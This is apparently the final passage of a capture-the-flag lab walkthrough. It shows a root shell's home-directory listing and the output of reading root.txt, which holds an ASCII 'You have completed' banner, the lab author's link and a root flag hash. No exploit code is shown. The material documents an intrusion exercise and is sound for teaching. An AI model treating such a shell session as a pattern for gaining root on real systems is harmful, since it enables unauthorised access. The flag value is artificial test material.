-rw------- 1 root root 426 Jul 29 2020 .bash_history
-rw-r--r-- 1 root root 193 Sep 24 2011 .bash_profile
-rw-rw-rw- 1 root root 422 Sep 6 2011 .bashrc
drwxr-xr-x 2 root root 4096 Sep 12 2011 .cache/
drwx------ 6 root root 4096 Sep 12 2011 .config/
drwx------ 3 root root 4096 Jul 19 2011 .dbus/
-rw------- 1 root root 28 Jul 22 2011 .dmrc
drwx------ 4 root root 4096 Sep 24 2011 .gconf/
drwx------ 2 root root 4096 Sep 24 2011 .gconfd/
drwx------ 3 root root 4096 Sep 12 2011 .gnome2/
drwx------ 2 root root 4096 Sep 12 2011 .gnome2_private/
drwx------ 3 root root 4096 Jul 29 2020 .gnupg/
drwx------ 2 root root 4096 Jul 19 2011 .gvfs/
drwx------ 3 root root 4096 Sep 6 2011 .local/
drwx------ 3 root root 4096 Nov 5 2011 .mc/
-rw-r--r-- 1 root root 0 Oct 22 2010 .mdk-menu-migrated
-rw-r--r-- 1 root root 0 Jul 21 2011 .menu-updates.stamp
-rw------- 1 root root 6 Jul 29 2020 .mysql_history
drwx------ 2 root root 4096 Nov 5 2011 .synaptic/
drwx------ 2 root root 4096 Sep 11 2011 .thumbnails/
drwxr-xr-x 2 root root 4096 Jul 29 2020 .xauth/
-rw-r--r-- 1 root root 1897 Jul 6 2011 .xbindkeysrc
drwxr--r-- 2 root root 4096 Jul 19 2011 Desktop/
drwx------ 3 root root 4096 Sep 8 2011 Documents/
drwx------ 2 root root 4096 Sep 6 2011 drakx/
-rwxr-xr-x 1 root root 5813 Jul 29 2020 healthcheck*
-rw-r--r-- 1 root root 182 Jul 29 2020 healthcheck.c
-rw-rw-rw- 1 root root 2096 Jul 29 2020 root.txt
-rw-r--r-- 1 root root 815966 Apr 12 2020 sudo.rpm
drwx------ 2 root root 4096 May 24 15:01 tmp/
[root@localhost root]#
cat root.txt
cat root.txt
██ ██ ██████ ██ ██ ████████ ██████ ██ ███████ ██████ ██ ██ █████ ██████ ██████ ███████ ██████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
████ ██ ██ ██ ██ ██ ██████ ██ █████ ██ ██ ███████ ███████ ██████ ██ ██ █████ ██████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██████ ██████ ██ ██ ██ ██ ███████ ██████ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ██
Thanks for Playing!
Follow me at: http://v1n1v131r4.com
root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
[root@localhost root]#
If there are any doubts or queries write me in the comment section.